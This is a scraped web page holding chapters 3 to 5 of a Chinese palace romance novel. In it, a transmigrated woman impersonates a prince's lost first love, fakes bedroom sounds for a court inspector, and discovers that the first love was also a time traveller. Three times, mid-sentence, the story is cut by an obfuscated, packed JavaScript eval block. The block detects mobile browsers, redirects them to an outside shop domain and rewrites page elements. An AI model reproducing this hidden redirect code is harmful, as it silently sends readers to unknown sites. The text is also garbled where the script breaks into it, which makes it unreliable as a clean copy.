《假扮暴君的白月光》 3. 第 3 章 夜深漏尽,偏殿灯火未熄,荧荧一盏孤灯映着四壁清寂。 沈翩枝蜷身裹入锦被,缩作小小一团,只露出一双眸子警惕不移地牢牢凝在紧闭的殿门上。 她心里拿不准李暄到底信了几分,生怕他下一刻提剑杀进来,取她性命。 方才守在正殿门口的太监来了一趟,半威胁半利诱她须得假装已经被秦王宠幸,掩人耳目。 这倒是与书中描述的大差不差,李暄需借一个女人来为他应付宫里的皇帝。 沈翩枝盯得眼睛发酸,难受地闭上眼,脑海不自觉回忆书中枝枝的事。 书中有限的正常剧情里,李暄回忆他七岁时父母双亡,后遭现太子构陷打入冷宫。 深宫之内人人趋利避害,皆不愿近身伺候他这落魄王孙,末了这桩苦差落到没有靠山的枝枝身上。 枝枝年长李暄七岁,未因其落难而轻慢,反倒事事尽心,样样仔细。 为了防止他遭歹人暗害,枝枝每次进膳必以身试毒,衣物也总要拆洗三遍,生怕夹层里被人缝入细针,夹杂毒物。 两人在冷宫中相依为伴七年,李暄对她的倚赖早已深入骨血,近乎偏执病态。 书里多次强调李暄认定枝枝从未离开他,始终坚信枝枝终有一天会回来。 沈翩枝骤然睁眼,猛地撑坐起身。 李暄会相信如此荒诞的故事,说到底是对枝枝思之如狂,情难自抑。 甚至不惜自欺欺人。 她恍然大悟。 难得有一个熟知枝枝往事的人,李暄或许是想通过她去怀念枝枝,追忆往昔。 换言之,什么枝枝转世根本不重要,要紧的是,李暄需要她扮演枝枝。 她只是个替身。 想通这一层,沈翩枝暗暗庆幸自己急中生智想了一体双魂这个绝妙说辞,正好给李暄和她都留有缓冲余地。 他恋爱脑发作想白月光时,她就假扮枝枝以解他的相思之苦。 他恢复正常时,她就老老实实当灵芝,帮他应付宫里的人。 一份工钱两份活,好一个会剥削的奴隶主。 但命好歹是保住了,只要她模仿得足够像,李暄暂时舍不得杀她,她也能借着这喘息之机筹谋脱身退路。 沈翩枝理清思路后浑身轻松,紧绷的神经软和下来,重新躺回榻,慵懒舒展四肢,静静闭目调息。 歇了片刻,面上忽的泛起一层薄热,清丽的杏眼陡然睁开,眸底漾满羞赧与窘迫。 她又坐起来,哎呀一声:“我说他被亲反应为何那么大,原来是这个原因。” 李暄既然只把她当个睹物思人的物件,自然排斥她的亲密接触,而她情急之下贸然亲上去,也难怪他会震怒抗拒。 “说得好像我想亲他似的。”沈翩枝想起书里李暄毫无顾忌的索取,轻哼了声骂道:“跟枝枝日日肆意妄为,装什么纯情。” 她翻了个身,眼睑慢慢不受控制坠下。 不过她编的故事漏洞百出,也是难为李暄还要假装相信,恋爱脑晚期真没药治。 另一边正殿之内,烛火高燃,映得殿中明如白昼。 银甲护卫红豆单膝垂地,神色沉肃,细细禀明灵芝的身世底细。 她本出身破落山村,凭着一副过人容貌,蛊惑了县令之子,哄得那人将她送入京城谋生。入京之后,又贪恋繁华富贵,转眼勾搭上侯府纨绔子弟,抛弃县令之子。 灵芝一心以为可借此攀上高枝,却不料被侯夫人当众羞辱。那世家公子本就轻薄寡情,怎愿为一介山野农女与侯府决裂,当即便与她恩断义绝。 她没有靠山,又在京中贵圈颜面尽失,再难找到好人家。 偏偏她仗着美貌自幼心气高,离家前放了狠话要飞上枝头做人上人,如今即便潦倒,也不愿灰头土脸返乡。 红豆道:“灵芝在走投无路时遇见太子,太子不知许诺她什么,她答应入宫成为侍寝女官,之后潜入秦王府做卧底。” 李暄立在剑架之旁,手中持一方麂皮,不疾不徐擦拭着出鞘长剑。 剑刃锋利,却切不断他眸中的寒意。 擦完了,他举起剑,修长的指尖轻弹剑身,嗡地一声鸣响,满室寒光。 “派人盯着她的一举一动。” 红豆应喏,神色欲言又止。 李暄余光一瞥,淡淡道:“有话直说。” 红豆沉声道:“属下斗胆,敢问为何殿下不找个由头直接杀了她?” 在红豆看来,灵芝心机深沉又爱慕虚荣,也非太子心腹没有利用价值,何必放在眼皮子底下膈应。 长剑归鞘,锵然一声震彻大殿,撞在红豆胸口上,他登时浑身僵硬。 “属下僭越,请殿下责罚!” 红豆恨不得抽自己一个大嘴巴,他方才竟然在教主子做事。殿下不杀灵芝自有他的考量,哪里轮得上他指手画脚。 李暄挥手让他退下。 殿宇空旷寥落,纵然满堂烛火摇曳,也填不满黑暗。 李暄站在原地久久不动,跳跃的烛火映在他俊美面容上,明明灭灭,难分情绪。 灵芝的谎言拙劣荒谬,今夜唤她来原是想吓吓她,趁机套出些太子的把柄。 谁知她竟生了那样一张脸。 李暄抬手抚上剑架凸起的金漆桃花纹样,指尖微按,机关缓缓转动,正对的石壁徐徐向内凹陷,露出一方暗格。 他缓步上前,伸手从中取出一幅卷轴。 珍而重之展卷铺开,最先入目的是一双杏眸,灵动含笑,而后挺鼻樱唇次第显露,及腰的长发微卷,如海藻般分布在前胸后背,勾勒出姣美的线条。 “枝枝,今日有个人长得和你描述的一模一样。” 李暄目光凝在画中人红润饱满的唇瓣上,耳根莫名泛起潮热,骤然又变成炸毛的猫,拼命擦拭自己的唇瓣。 他恨恨地想,这个叫灵芝的女人应该庆幸长得与枝枝有几分相似,不然今夜他便要将她大卸八块。 李暄眼眶猝然酸胀,暗沉的眸子浮起一层薄雾。 一转眼已经七年了。 他已经长得比枝枝高了一个头。 这夜李暄罕见地梦见了枝枝。 她躺在狭窄的榻上小憩,李暄走过去轻轻脱靴上床,侧身躺在她身边。 自从父亲战死,母亲殉情自缢后他便难以入眠,唯有躺在枝枝身边才有片刻安睡。 李暄把自己缩进枝枝怀里,仰起头去看她。 枝枝一睡着就极难唤醒,无论他做什么她都不会知道。 李暄屏住呼吸缓缓凑近枝枝的脸,忽然她的脸变成灵芝的模样。 李暄倏然惊醒,无眠枯坐至天明。 沈翩枝却一夜无梦,睡得竟意外香甜,她都佩服自己乐观的心态。 离开正殿的一路畅通无阻,沈翩枝平安回到自己院落,小荷早早就在门口等着。 她踮脚张望,几乎是在沈翩枝出现的瞬间两眼放光地迎上去。 “灵芝姑娘,王爷竟然留您过夜了!”小荷卯足劲儿大喊,恨不得整个院子都听见。 话音刚落,左侧杜若屋里传来茶碗重重砸在地上的碎裂声。 小荷上前一步,低声愤愤道:“昨夜姑娘被传召,隔壁伺候杜若姑娘的小柳阴阳怪气您用了卑鄙手段才能侍寝,还嘲讽您定然会被秦王逐出门去,我气不过跟她吵了两句。” 沈翩枝正心力交瘁,以“秦王不喜张扬之人”为借口,叫小荷低调些。 小荷双手捂住嘴,小鸡啄米似的点头。 她指了指屋子说要休息,交代小荷午膳不用叫她。 小荷瞧见她眉宇间的疲惫,朝她暧昧地挤眉弄眼:“奴婢省得,姑娘只管安心安歇,有事随时传唤奴婢便是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547105|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈翩枝知道她误会了,也懒得辩解,径自回屋。 掀开裙摆,大腿外侧有一团明显的清淤。昨夜了流出眼泪,她快把大腿掐断了。 她其实不困,但一沾上床倦意便席卷而来,一觉睡到晌午后。 小荷听见屋内有动静,立时端着温热膳食入内。 沈翩枝看了眼未动一口的饭菜,问她怎么不吃。 小荷凑到沈翩枝旁边,摇头道:“奴婢等姑娘一起。” 灵芝姑娘心善厚待她,但她不能没有规矩,更不能得寸进尺。 沈翩枝看了眼冒着热气儿的饭菜,笑着道谢,心里对小荷高调张扬的不满散了一大半。 要在冬日非用膳的时辰吃上热腾腾的饭菜,小荷必然废了不少功夫。 用完膳,小荷替沈翩枝重新梳整发髻,沈翩枝让她弄个简单点的,小荷却不肯。 小荷:“冬日天短,眼看天要黑了,万一今夜殿下又遣人传召,姑娘仪容半点马虎不得……” 沈翩枝:“秦王日理万机,怎会沉溺女色。” 李暄昨晚才被她这个冒牌货强吻,气还没消,不会那么快想见她,现在最紧要的是在他治好恋爱脑前跑路。 等他日后回过神,必定会将这桩荒唐过往视作黑迹,毫不留情抹去。 谁料暮色渐沉、华灯初上之时,前院竟遣人传来口信,命她今夜去偏殿侍寝。 小荷高兴坏了,眉飞色舞握住沈翩枝的手:“姑娘!奴婢就知道您非池中物!” 沈翩枝笑得比哭还难看,前一晚才九死一生,今晚上又要极限求生。 这回该用什么理由切换人格?她不想体验再次被剑指着的滋味,尤其李暄还提出上刑逼迫灵芝让位给枝枝。 沈翩枝战战兢兢走进偏殿。 李暄一身玄色暗纹长袍端坐于殿内的太师椅上,右手拿着一本书,遮住大半俊容。 殿内空旷死寂,烛火明明灭灭,映得他孤影单薄。 李暄听见动静,微微下压书册,只露出一双冷漠的眼睛。 沈翩枝正琢磨到底是扮演枝枝还是灵芝,他先开口淡淡叫了名字。 “灵芝。” 一来就叫她灵芝,莫非他今天不需要她扮演白月光? 沈翩枝谨慎地观察李暄的神情举止,清了清嗓子,换上灵芝那副含羞带怯的声调:“殿下——” 李暄淡淡道:“你不清楚你的身份?” 沈翩枝站在原地茫然片刻,难道不是想见灵芝? 李暄不耐烦道:“宫里没教你侍寝女官应当如何伺候?” 沈翩枝愈发迷茫,难不成要她侍寝? “发什么愣?过去。”李暄眉头一拧,眼神瞥向窗边的美人榻,示意她走过去。 他周身散发着摄人的寒意,沈翩枝不得不去。 为了维持灵芝爱慕秦王的人设,她一步三回头朝李暄投去含羞带怯的眼神,生怕他不跟过来似的。 心里愤愤不平,书里果然都是骗人的。 什么对枝枝守身如玉,痴心不改,敢情还是管不住自己的下半身。 昨天被她亲的时候一脸嫌恶,现在又上赶着要睡自己,真不要脸。 沈翩枝在心里骂了他八百遍,又想到书里那些没羞没臊的高难度动作,不由得面颊发烫。 然而她在床榻上等了半天,李暄依旧岿然不动坐在椅子上。 她忍着羞臊宽衣解带,嘴里娇滴滴地唤道:“殿下~” “你在做什么?” 李暄目光从书卷上抬落,粗粗往榻上扫了一眼,立刻嫌恶地移开,冷斥道:“不用脱。” 沈翩枝满头雾水,他要穿衣服来? 书里确实写过他觉得脱衣服太慢。 啧,猴急。 李暄见她朽木不可雕也的模样,不耐道:“宫里来人了,等会大声叫。” 4.第 4 章 殿外夜色重重,殿内灯影惶惶。 沈翩枝趴在靠窗摆放的美人榻上,脸几乎要烧穿素色迎枕,她艰难地掐着嗓子咿咿呀呀地叫唤着。 声音被闷住,断断续续,细细弱弱的,像刚出生的奶猫惹人怜爱。 李暄稳坐木椅,头也不抬翻看书卷,语气冷如硬铁:“大声。隔壁的梁尚宫上了年纪,耳朵不好使。” 沈翩枝浑身一僵,指尖猛地收紧,锦布被攥出几道褶皱。 李暄召她侍寝的事情不知怎么传到皇宫,皇帝听闻固执的孙子忽然开窍,将信将疑,特意派了个女官入府一探究竟。 为了骗过宫里人,李暄便命令她一个人演一出“侍寝”的大戏。 半晌,她咬牙翻身,脸蛋因憋气涨得通红。 沈翩枝干巴巴道:“殿下,不要。” 连着三声啊啊啊的尴尬惨叫。 李暄目光冷冷扫过来,一语双关:“你跟我是仇人?” 想到自己还有个要命的卧底身份,沈翩枝冷不防打了个寒颤。 她压下心底的羞恼与惊惧,深吸一口气,眼一闭,刻意放软嗓音,娇声道:“殿下……轻、轻一点,啊!” 李暄收回目光,神色冷淡翻了一页书。 起初沈翩枝还有些拘谨羞耻,后来也想开了,叫两声总比被抹脖子强,于是逐渐放开进入角色,声音婉转起伏,千回百转,听得人心荡漾。 “殿下,勇猛非凡,龙精虎猛,奴三生有幸。” “殿下,这个、这个姿势……奴真的做不到。” “殿下还没好么,奴的腰要折了,求放过……” 沈翩枝心情复杂,没想到多年坚持博览群书居然有派上用场的一天。 为了以假乱真,这回她还加了颤音和喘息,力求逼真。 大约过了一盏茶的功夫,沈翩枝嗓子都叫干了,慢慢放低音量。 李暄眼前的红木案几上,错金铜博山炉燃着沉香,袅袅青烟晕开,像在他周身笼了一层朦胧的纱。 他姿态端正如松,一本正经地盯着书册,仿佛榻上的动静与他毫无干系,浑身上下透着一股拒人于千里之外的清冷,任周遭旖旎,也难扰他半分。 她偷觑一眼,内心呵呵两声。 他倒是装得一副正人君子模样,他跟白月光什么地方没试过,区区一床榻,于身经百战的他而言早已见怪不怪,指不定他手中的书卷根本不是什么正经典籍。 沈翩枝愤愤不平却不敢停,声音渐渐嘶哑,忽高忽低,还夹杂了几声似泣非泣的喘息。 若不是李暄知道她在演戏,还真以为她被人反复揉搓,沉浸其中。 他的目光落在纸页上,却一个字都没看进去,耳朵不受控制地捕捉着榻上的动静,那声音渐渐变成了另一个人的。 它们像一根根毛绒绒的羽毛,不断撩拨他的神经,素来沉稳的心绪,竟紊乱几分。 李暄猛地攥紧书页,指节泛白。 这个女人满嘴谎言,为何会让他想到枝枝。 不,枝枝不绝不会说出这般露骨的话,她在他面前甚至从未骂过人,顶多抱怨连绵阴雨只能呆在屋里,闷得慌。 李暄偶然听过枝枝与宫里的老嬷嬷对骂,她叉腰骂人的样子其实很可爱。 尤其是为他骂人的样子。 李暄眸间暗暗浮动着躁意,他强迫自己收回注意力,不知熬过多久,耳边的声音终于停歇。 沈翩枝实在是叫不动了,嗓子火辣辣疼,像被烟熏过一样刺痛。 难怪说做这种事是体力活,她算是完全理解了。 “还不够久。”李暄指尖翻开下一页,淡淡命令。 沈翩枝强忍着翻白眼的冲动,低声好气道:“已经半个时辰了,奴实在是……有心无力。” 李暄不变喜怒道:“这点小事都办不好,留你何用?” 沈翩枝拳头硬了,顷刻间又和她的声音一样软趴趴:“奴知错,还请殿下赐教。” 他经验如此丰富,怎么不亲自来演一场。 李暄点评:“只知道叫唤,也不动一动。” 沈翩枝愣了下,他是在怪自己没有弄出点动静来彰显他不凡的能力? 真是细节满满,吃过猪肉的和她这种只看过猪跑的就是不一样。 沈翩枝谦逊地表示受教,当即在床榻上扭成麻花,但动静不够大,她又一骨碌爬起来,双手抓住榻沿,卖力摇动。 美人榻是上好的梨花木打造,通体沉实,撞在墙上发出阵阵沉闷巨响。 激荡的风势掠过,惊得灯檠上的残烛剧烈摇曳,几欲熄灭。 她怕李暄鸡蛋里面挑骨头,同时扯着嗓子大喊:“好哥哥,妹妹怕冷,莫要在窗边待着。” “殿下,快些走吧,奴家的夫君要回来了……” 李暄额角突突地跳,指尖几乎要把书页捏碎。 沈翩枝越演越投入,激动地朝窗外大喊:“你不能过来!我是你嫂嫂,你这样对得起你死去的哥哥吗?方才我不该给你开……呜呜呜” 李暄实在是听不下她的虎狼之词,脸色铁青地走过去往她嘴里塞了块手帕。 沈翩枝不明所以地仰头看着他。 她都做到这种程度了,他还有哪里不满意? 李暄心里烦躁得厉害,又懒得搭理她,最后嫌弃地甩了句:“够了。” 沈翩枝的眼泪毫无预兆滚落,整个人朝李暄扑去。 他想躲开,目光却在触及梨花带雨的面容时鬼使神差伸手接住她。 李暄说服自己她还有用,暂时不能出事。 沈翩枝的腰扭了。 疼得她龇牙咧嘴,脸皱成一团,嘴里口齿不清地呜呜呜着。 李暄扯出手帕,压着火问:“又怎么了?” 沈翩枝眼泪糊了一脸,“腰、腰扭了。” 李暄无言以对。 “你真是……” 沈翩枝听出他想骂她废物。 心里积压的火突突往上冒,自己又累又哑,他倒是一个人躲清静,但她还是忍住了。 她在心里默念莫生气,好女不跟恶男斗,保住小命要紧。 沈翩枝强行挤出一个笑:“殿下,是奴无用,请殿下恕罪。” 两人间距不远不近,恰好够李暄将她模样尽收眼底。 杏眸泪水晶莹一片,波光潋滟,仿佛下一刻就会倾盆而下,但眉眼紧绷,透着一股不肯示弱的韧劲。 李暄恍神片刻,又想起了枝枝。 “有这么疼?”连他自己也未曾察觉,语气软了几分。 他本意想说府里有专门治疗腰伤的宫廷珍药凝元玉露膏,这点小伤很快就能治好。 沈翩枝疼得正在气头上,听成在质问她。 泥人还有三分脾气,她忍无可忍小声反驳:“要是殿下不满意,不如换个人来。” 沈翩枝微微仰头,靡艳的唇受了委屈微微嘟起来,仿佛下一刻就要碰上来。 李暄的脸色瞬间阴沉,当即把她扔出去。 他不该对她心软。 李暄痛恨自己竟然被这张脸所迷惑,今夜竟在她身上一而再、再而三荒唐地寻找枝枝的影子。 她必须立刻死,他已经顾不上她嘴里的消息。 沈翩枝猝不及防被摔在榻上,虽然被褥厚实柔软,她依然疼得说不出话。 身体的疼痛立即给冲动的神经降温,她后悔得想咬掉自己的舌头。 何必逞一时意气,顶撞这个杀人不眨眼的暴君? 保住小命才是最重要的。 沈翩枝能屈能伸,刚想说点什么软话缓和气氛,他已经拂袖而去。 她无力往后瘫,心里拔凉拔凉的,但腰实在疼,只能先躺平。 还没等她想好要怎么度过眼前这关,李暄折返回来,他手里拿了个墨色的瓷瓶,看着就很……毒。 沈翩枝登时大惊失色。 好在她迅速压制住内心翻涌的惊恐,转而迷茫看向李暄:“殿下,我……我怎么躺在床上。” 关键时刻,沈翩枝不得不再次假扮白月光救场。 李暄站定在床榻前,殿内的烛火又矮了半截,灯影沉甸甸地压在他肩上,极具压迫感。 沈翩枝忍住疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550355|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛起身,又重重跌回去,眉毛难受地拧作一团:“我的腰怎么了,好疼……” 眼泪不要钱似的往外冒,嘴里自责道:“是不是灵芝做了什么大逆不道的事。倘若她要伤害您,您不用顾及我的安危,在枝枝心里,您才是最重要的。” 李暄语气带着几分戏谑:“有多重要,能为我去死吗?” 沈翩枝话音骤然一滞,整个人登时怔住,愣了好半晌,才磕磕绊绊挤出几个字:“当、当然。” 李暄坐到榻沿边的矮凳上,双眸黑沉沉的,宛如不见底的幽潭。 他明明坐着,还矮她半个头,她却有种被居高临下审视的压迫感。 沈翩枝被他看得心头发紧,连呼吸都透着滞涩,声音怯怯:“殿下为何这样看我。” 心中惴惴不安,他是在试探,还是真的想杀了她。 冷风自窗棂缝隙悄然而入,掠得烛火微微摇曳,昏黄光影在四壁晃荡不定,垂落的帷幔却落纹丝不动,空气凝冻如冰。 满室沉谧,沈翩枝耳边灌满自己怦怦的心跳声。 李暄打破沉默,眼眸微弯:“瞧你,吓得脸都白了。” “我怎么会杀你。” 他的笑意不达眼底,有种在说反话的感觉。 沈翩枝干笑两声:“是疼的。我怎么会怕殿下。” 李暄面不改色道:“灵芝搬东西闪到腰,我出去拿药。” 沈翩枝恍然大悟地哦了声,目光盯住他手里的瓷瓶,生怕下一刻被强行灌进嘴里。 她忍不住问:“这是什么药?” 李暄眉头微挑,似笑非笑道:“要试试吗?效果极佳,一粒见效。” 哪有治扭伤的药是吃的? 沈翩枝警铃大作,硬着头皮胡诌:“我、灵芝吃不了苦,苦味会让她醒过来。” 李暄定定看着她,目光高深莫测。 沈翩枝鼓足勇气朝他伸手,指尖堪堪捏住他的衣袖一丁点,轻轻拽了拽。 “我想多陪陪殿下,腰疼也没关系。”她放软声调,带着几分隐忍的委屈:“我能忍。” 李暄的手臂朝旁移了移,挣脱她的手指,态度显而易见的冷淡。 沈翩枝的手僵在空中。 什么灵丹妙药那么快就治好了他的恋爱脑? 难道是不满意她方才的演技?有一说一,她真的尽心尽力了。在那短短一个时辰内,她已穷尽毕生所学,甚至超常发挥。 李暄忽然问:“我怎么分清你什么时候是枝枝还是灵芝?” 原来他刚才是在判断自己是谁? 不对啊,李暄不是只把她当替身工具人,怎么还当真了。 不是他想怎样就怎样? 沈翩枝摸不准他的想法,试探道:“大概每隔十个时辰就能出来一个时辰。” 李暄神色莫辩,修长的指节忽高忽低摩挲着墨色瓶身。 沈翩枝的心也忽上忽下,生怕他下一刻拔开瓶塞给自己喂药。 “不过,”她补救道:“殿下想我的时候,多喊我的名字,我一定想办法来见您。” 李暄不咸不淡哦了声:“我观你们二人之间记忆似乎不互通,你如何能听见我的声音。” 沈翩枝立刻表决心:“因为我爱殿下啊。” 李暄抬头,那双波澜不惊的眼猝然投进两簇火星,亮得骇人。 沈翩枝被他看得心惊胆战,脊背上蹿起骇人的凉意,顺着脊椎骨往下溜遍全身。 她哪个字说错了。 屋内再次陷入逼人的死寂,落针可闻。 李暄扯了扯嘴角,但却不像在笑,他一字一顿道:“你说你爱我。” 沈翩枝答得战战兢兢:“是、是啊。难道殿下不爱枝枝了?” 书里明明写了他们两人在冷宫相濡以沫,爱得死去活来。 李暄眉梢猝不及防弯了弯,稍纵即逝。 “怎么会。”他的声音柔得瘆人,“你不该质疑我的爱。” 李暄冷眼看着眼前这个女人,还未成形的希冀破灭。 她果然是假的。 枝枝怎么可能爱他。 5.第 5 章 冷宫的最后那几年,李暄借父母旧部暗中几番运作,在十三岁立大功后被破例封王,获准出宫建府。 封王可成婚,李暄满心要娶枝枝,哪怕她是宫女,也誓要娶她为正妻。 他素来枝枝面前藏不住心事,按捺不住将盘算尽数吐露。 不料枝枝拒绝了。 她只把他当成弟弟。 她不跟弟弟谈恋爱。 她还说他们不是同一个世界的人。 李暄雀跃的心瞬间被泼了凉水,他不知道什么是谈恋爱,但他意识到枝枝不想和他谈爱,还用荒诞的借口搪塞他。 眼前的人顶着这样一张脸说爱他,即便明知道她谎话连篇,李暄真有点舍不得杀。 他默然将剧毒“无垢”的墨玉药瓶拢入怀中,迎着沈翩枝疑惑的目光,神色沉静淡然:“这药的确苦涩,我让人重新送药膏过来。” 沈翩枝立刻摆出一副柔情脉脉的模样:“殿下待枝枝的好,枝枝都牢牢记在心里。” 李暄轻哦一声,眉梢微挑,“既然记得,那你说说,除了昨日你说的那些事外,还有别的吗?” 沈翩枝声音窘迫地卡在喉咙里,脑中正盘旋着他们大战八百回合的画面以及诸多难以启齿的风月虎狼之词。 这也怪不得她,那本不正经的书里就没多少能在正规平台上过审的字。 她当即捂着额头蹙起眉,“哎呀呀“叫唤起来:“殿下,我头脑昏沉发涨,兴许是这具身体的记忆与我的混缠一团,我好像忘了许多事。” 李暄脸色沉了下来。 沈翩枝慌忙补救:“但我绝不会忘记殿下,在枝枝心里,殿下是最重要的人。” 李暄眼睛重新带上笑意。 “无妨。” 他语声温得透着几分渗人:“我会帮你想起来的。” 而后,李暄不急不慢地与沈翩枝诉说“他们”的往事。 他的目光凝在火焰上,暖光漫过眉眼,揉碎眼中的冷冽。 低沉平缓的嗓音微微沙哑,像深夜独自奔赴岸边的海浪,沉静空旷,又带着几分化不开的孤寂绵长。 沈翩枝仰着头,面上故作认真动容,内心却已掀起惊涛骇浪。 李暄不说两人在冷宫的相互扶持,患难与共的真情,反倒句句表达对枝枝过人本领的钦佩。 越听她越心惊,这个白月光枝枝未免太博学。 她通晓天文历法、精于算术推演、擅长查案探踪、落笔便能绘山河景致,就连外邦异族的言语也略有涉猎,当真称得上博古通今、见识卓绝。 李暄停顿片刻,望向她的目光幽暗深邃:“这些你还记得吗?” 沈翩枝心虚偏过头,“我好像都不太记得了。” 她只是个学小语种的文科生,天文数理真的一窍不通,更别提绘画查案。 与枝枝一比,她简直是个不学无术的混子,帝王的心上人果然不是谁都能当的,假扮白月光果真不是简单的活儿。 但奇怪的是,枝枝这般惊世之材,怎么会在深宫做一个低等的洒扫宫女? 寻常女子连识字都难,何况世家秘传的天文算数之法。 李暄没有责怪她,浅笑道:“不记得也没关系,只要你回来就好。” 冷峻的面庞在笑容中柔化,却被错落的光影分成两半,半黑半白,有种诡异的森然。 他的笑实在古怪,直叫沈翩枝后背阵阵发凉。 沈翩枝自认编的转世谎言错漏百出,失忆更像是欲盖弥彰的借口,若李暄只把她当做替身聊以慰藉,她尚能理解一二。 然而今夜李暄在跟她倾诉两人之间的过往时,眉眼中不经意流露出的柔情不似作伪。 难不成他真相信她是白月光转世? 沈翩枝小心翼翼问:“殿下,你不怕我是骗你的吗?” 李暄笑意更甚,语气却森冷阴狠:“若敢骗我,便凌迟处死。” 沈翩枝恨不得抽自己两个嘴巴,赶紧补救,情真意切表白:“我说的句句属实!” 李暄眸光深邃难辨,意味深长道:“我知道你不是灵芝。” “起初,我半点不信你口中转世重生的荒诞说辞。你虽然知道我在冷宫的过去,但若有心未必不能查出一二。但是——” 他拖长尾音,唇角继续上扬。 沈翩枝的心瞬间悬至嗓子眼,屏着呼吸不敢乱动,生怕漏掉一个字。 一开始她确实想仗着书中的内容作为筹码镇住李暄,再从长计议,谋求生路。 李暄虽错愕片刻,可后来提刀相向时,眼底的狠戾杀意,分明是一心要置她于死地。 可转瞬之间,态度陡转,她事后推测李暄只把她当个排解寂寞的替身,真假无关紧要。 然而李暄今日的一言一行,又好似信了她真是白月光转世归来。 就在她思索之际,李暄重复了一遍那夜她仓皇逃离正殿时,情急之下喊出的救命。 沈翩枝身躯猝然凝滞,不敢相信自己的耳朵。 李暄的德语发音标准清晰。 他的目光里有一种说不清道不明的意味:“你教我的,你说这是你自创的暗语。” 沈翩枝瞳孔骤缩,险些压不住脸上的震惊之色。 枝枝会德语? 沈翩枝手指无意识地捏着衣襟,心头震动,枝枝怎么会德语? 她艰涩开口:“她……我还教了殿下什么。” 沈翩枝迫切想确认是枝枝无意中歪打正着编出这个发音,还是她真的会。 李暄像是没看见她苍白的脸色,又说了几句,语速时快时慢,还故意说错几个地方。 与此同时,他不动声色观察对面人的表情,仔细分辨她是真懂还是碰巧与别的语言雷同。 沈翩枝默默判断,枝枝肯定会德语,但似乎不算精通。 李暄遗憾道:“枝枝没教我多少,说我学了也没用。” 沈翩枝张了张嘴,发不出任何声音。 她敢确定,枝枝是个穿越者! 原来她不是唯一的穿越者,枝枝早她十四年来到这个世界。 她是怎么来的? 和她一样濒死穿越? 她有没有看过这本书? 沈翩枝忽然想到这本书里的大尺度内容,替枝枝感到尴尬,这不就是现实版的穿成限制文女主吗? “对了。”李暄忽然问:“你还记得你是怎么‘死’的吗?” 沈翩枝心神恍惚,一时没听出他的问题有多奇怪,下意识说出书中的答案:“不小心落水而亡?” 李暄微蜷的左手动了动,表情仍然噙着浅笑:“看来你没忘。不过我没有找到你的尸体,当时他们都说你死了,但我不信。” “你以前偶然说过,你来自天上的某颗星星,说不定哪天就要回去。要是忽然不见,让我不要担心你。” 李暄黝黑的瞳孔里挤不进一丝光亮,偏偏唇角扯出一抹弧度,诡异森然:“你说,你会回来找我。” 殿内的烛火忽然齐齐一缩,像是被什么东西掐住了脖子。 窗外无风,屋内空气凝滞,像被冻住似的。 沈翩枝听见自己的心跳声一下一下撞在耳膜上,像是有人在拿重锤擂鼓。 脑子里只有一个念头,反反复复地转。 枝枝不仅是穿越者,她很有可能又穿回了现代。 李暄垂眸压住眼底的冷漠,将她每一分失态、每一寸震骇都尽收眼底,分毫不落。 这个叫灵芝的女人脸色惨白,红润的下唇被她咬出深深齿痕,双眸呆滞,脸上的震惊绝不是演出来的。 她和枝枝一样,来自那个地方。 沈翩枝脑子里翻江倒海,无暇注意李暄幽深审视的目光。 她迫不及待追问:“我有没有说过那颗星星的名字?” 李暄眉头微蹙,煞有介事地思索着。 沈翩枝等得像有一锅蚂蚁在心窝乱爬,心说这么重要的消息还要想这么久,他脑子里除了惦记床榻那点事儿还能不能有点别的正事。 但她不敢贸然催,更不敢提示,谁也不知道枝枝跟他说的是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552263|204188||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,胡乱搭话怕引起李暄的怀疑,以后更难套消息。 李暄眸底闪过戏谑。 他如同蛰伏暗处的猎人,耐性十足,只静静等着猎物自行露出破绽,再一步步落入圈套。 沈翩枝身体不自觉倾向李暄的方向,杏眸紧紧盯着他,屏住呼吸。 李暄猛然起身,往后退了一步。宽大玄色圆领袍拂过空气,带得烛火摇曳不休,光影完美地遮掩掉他眼里的逗弄。 他轻描淡写道:“忘记了。“ 沈翩枝一口气梗在胸口,红唇抿出一道浅白。 李暄将沈翩枝怒不敢言的神色尽收眼底,不急不缓道:“灵芝快要出来,你早些安置。” 他迈步朝门口走了两步,忽然驻足侧首。 昏沉烛光将他的身影拉长,沉沉覆落在沈翩枝身上,两人被浓重暗影悄然缠住。 他幽幽道:“枝枝,晚安。” 门开了,夜风裹挟着寒意灌涌而入,烛火剧烈摇晃乱颤。 沈翩枝指着李暄消失在夜色中的方向,咬牙切齿骂道:“这混蛋,该不是故意在吊我胃口!” 她握紧拳头狠狠砸在床榻上。 “疼疼疼……”她嘶了一声,慢慢揉搓后腰,“差点忘了我的腰。” 